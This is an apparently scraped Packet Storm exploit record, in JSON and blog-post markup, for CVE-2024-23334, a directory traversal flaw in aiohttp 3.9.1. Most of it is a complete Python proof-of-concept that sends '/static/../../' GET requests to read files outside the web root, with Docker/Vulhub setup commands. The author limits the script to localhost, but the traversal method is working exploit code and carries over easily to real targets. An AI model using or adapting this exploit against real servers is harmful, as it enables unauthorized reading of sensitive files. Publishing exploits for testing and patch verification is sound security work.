{“lastseen”:”2026-02-05T20:44:30″,”description”:”Proof of concept exploit for a directory traversal vulnerability in aiohttp version 3.9.1…”,”published”:”2026-02-05T00:00:00″,”modified”:”2026-02-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 aiohttp 3.9.1 Directory Traversal”,”source”:””,”references”:””,”id”:”PACKETSTORM:215038″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-23334″],”sourceData”:”# Exploit Title: Python aiohttp directory traversal PoC (CVE-2024-23334)\\n # Google Dork: N\/A\\n # Date: 2025-10-06\\n # Exploit Author: Beatriz Fresno Naumova\\n # Vendor Homepage: https:\/\/www.aiohttp.org \/ https:\/\/www.python.org\\n # Software Link: https:\/\/github.com\/aio-libs\/aiohttp (vulnerable tag: 3.9.1)\\n # Version: aiohttp 3.9.1 (vulnerable)\\n # Tested on: Linux (host for Vulhub \/ Docker) and inside container VM: aiohttp 3.9.1\\n # CVE: CVE-2024-23334\\n \\n # Description:\\n # Proof-of-concept to verify directory-traversal behavior when aiohttp is configured\\n # to serve static files with follow_symlinks=True (affects aiohttp \\u003c= 3.9.1).\\n # This PoC is intentionally restricted to local testing and will refuse non-local targets.\\n \\n \\n # Environment setup (Vulhub example):\\n # 1. Obtain Vulhub and change to the aiohttp 3.9.1 directory:\\n # cd vulhub\/python\/aiohttp\/3.9.1\\n # 2. Start the vulnerable service:\\n # docker compose up -d\\n # 3. Verify the service is accessible on localhost:8080:\\n # curl -v http:\/\/localhost:8080\/ # should respond\\n #\\n # Prepare a safe probe file inside the container (non-sensitive):\\n # 1. Identify the container name or ID with `docker ps`.\\n # 2. Create a test token file inside the container:\\n # docker exec -it \\u003ccontainer\\u003e \/bin\/sh -c \\”echo ‘POC-AIOHTTP-VULN-TEST’ \\u003e \/tmp\/poc-aiohttp-test.txt \\u0026\\u0026 chmod 644 \/tmp\/poc-aiohttp-test.txt\\”\\n # 3. Verify:\\n # docker exec -it \\u003ccontainer\\u003e \/bin\/sh -c \\”cat \/tmp\/poc-aiohttp-test.txt\\”\\n # # should print: POC-AIOHTTP-VULN-TEST\\n #\\n # How to run this PoC (local only):\\n # 1. Save this file as poc_aiohttp_cve-2024-23334.py\\n # 2. Run it on the host that has access to the vulnerable container’s localhost port:\\n # python3 poc_aiohttp_cve-2024-23334.py –port 8080 –probe \/tmp\/poc-aiohttp-test.txt –depth 8\\n #\\n \\n \\n \\n #!\/usr\/bin\/env python3\\n \\”\\”\\”\\n Safe local-only PoC verifier for CVE-2024-23334 (aiohttp static follow_symlinks).\\n This script will refuse to target any host other than localhost\/127.0.0.1\/::1.\\n \\n Example:\\n python3 poc_aiohttp_cve-2024-23334.py –port 8080 –probe \/tmp\/poc-aiohttp-test.txt –depth 8\\n \\n If the vulnerable server returns the probe file contents, the script prints the body\\n and reports VULNERABLE.\\n \\”\\”\\”\\n \\n from __future__ import annotations\\n \\n import argparse\\n import socket\\n import sys\\n import urllib.parse\\n import http.client\\n \\n LOCAL_HOSTS = {\\”127.0.0.1\\”, \\”localhost\\”, \\”::1\\”}\\n \\n def is_localhost(host: str) -\\u003e bool:\\n \\”\\”\\”Only allow local hosts to avoid misuse.\\”\\”\\”\\n return host in LOCAL_HOSTS\\n \\n def build_traversal_path(probe_path: str, depth: int = 8) -\\u003e str:\\n \\”\\”\\”\\n Build a traversal-style path to append to \/static\/.\\n Depth can be adjusted if the server root \/ static layout needs more ..\/ segments.\\n \\”\\”\\”\\n probe = probe_path.lstrip(\\”\/\\”)\\n ups = \\”..\/\\” * depth\\n return f\\”\/static\/{ups}{probe}\\”\\n \\n def try_connect(host: str, port: int, timeout: float = 3.0) -\\u003e bool:\\n try:\\n with socket.create_connection((host, port), timeout=timeout):\\n return True\\n except Exception:\\n return False\\n \\n def send_get(host: str, port: int, path: str, timeout: float = 10.0):\\n conn = http.client.HTTPConnection(host, port, timeout=timeout)\\n try:\\n conn.request(\\”GET\\”, path, headers={\\”User-Agent\\”: \\”poc-aiohttp-check\/1.0\\”, \\”Accept\\”: \\”*\/*\\”})\\n resp = conn.getresponse()\\n body = resp.read()\\n return resp.status, body\\n finally:\\n try:\\n conn.close()\\n except Exception:\\n pass\\n \\n def main():\\n parser = argparse.ArgumentParser(description=\\”Local-only PoC verifier for aiohttp traversal (CVE-2024-23334).\\”)\\n parser.add_argument(\\”–host\\”, default=\\”127.0.0.1\\”, help=\\”Target host (MUST be localhost).\\”)\\n parser.add_argument(\\”–port\\”, type=int, default=8080, help=\\”Target port (default: 8080).\\”)\\n parser.add_argument(\\”–probe\\”, required=True, help=\\”Absolute path on server to probe (e.g. \/tmp\/poc-aiohttp-test.txt).\\”)\\n parser.add_argument(\\”–depth\\”, type=int, default=8, help=\\”Traversal depth (increase if needed).\\”)\\n parser.add_argument(\\”–timeout\\”, type=float, default=10.0, help=\\”Request timeout seconds.\\”)\\n args = parser.parse_args()\\n \\n host = args.host.strip()\\n port = int(args.port)\\n \\n if not is_localhost(host):\\n print(\\”ERROR: This PoC is restricted to localhost for safety. Use only in an isolated lab.\\”, file=sys.stderr)\\n sys.exit(2)\\n \\n # quick reachability check\\n if not try_connect(host, port, timeout=3.0):\\n print(f\\”ERROR: cannot reach {host}:{port}. Is the vulnerable server running and port exposed on localhost?\\”, file=sys.stderr)\\n sys.exit(3)\\n \\n path = build_traversal_path(args.probe, depth=args.depth)\\n # encode path but keep slash and common safe chars\\n path = urllib.parse.quote(path, safe=\\”\/?=\\u0026%\\”)\\n \\n print(f\\”[*] Sending GET {path} to {host}:{port} (local lab only)\\”)\\n status, body = send_get(host, port, path, timeout=args.timeout)\\n print(f\\”[+] HTTP {status}\\”)\\n \\n if body:\\n try:\\n text = body.decode(\\”utf-8\\”, errors=\\”replace\\”)\\n except Exception:\\n text = repr(body)\\n print(\\”—– RESPONSE BODY START —–\\”)\\n print(text)\\n print(\\”—– RESPONSE BODY END —–\\”)\\n # heuristic: check for the expected test token\\n if \\”POC-AIOHTTP-VULN-TEST\\” in text:\\n print(\\”[!] VULNERABLE: test token found in response (lab-confirmed).\\”)\\n sys.exit(0)\\n else:\\n print(\\”[ ] Test token not found in response. The server may not be vulnerable or probe path\/depth needs adjustment.\\”)\\n sys.exit(1)\\n else:\\n print(\\”[ ] Empty response body.\\”)\\n sys.exit(1)\\n \\n if __name__ == \\”__main__\\”:\\n main()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215038″,”cvss”:{“score”:7.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215038\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-05T20:44:30″,”description”:”Proof of concept exploit for a directory traversal vulnerability in aiohttp version 3.9.1…”,”published”:”2026-02-05T00:00:00″,”modified”:”2026-02-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 aiohttp 3.9.1 Directory Traversal”,”source”:””,”references”:””,”id”:”PACKETSTORM:215038″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-23334″],”sourceData”:”# Exploit Title: Python aiohttp directory traversal PoC (CVE-2024-23334)\\n…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-39292","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n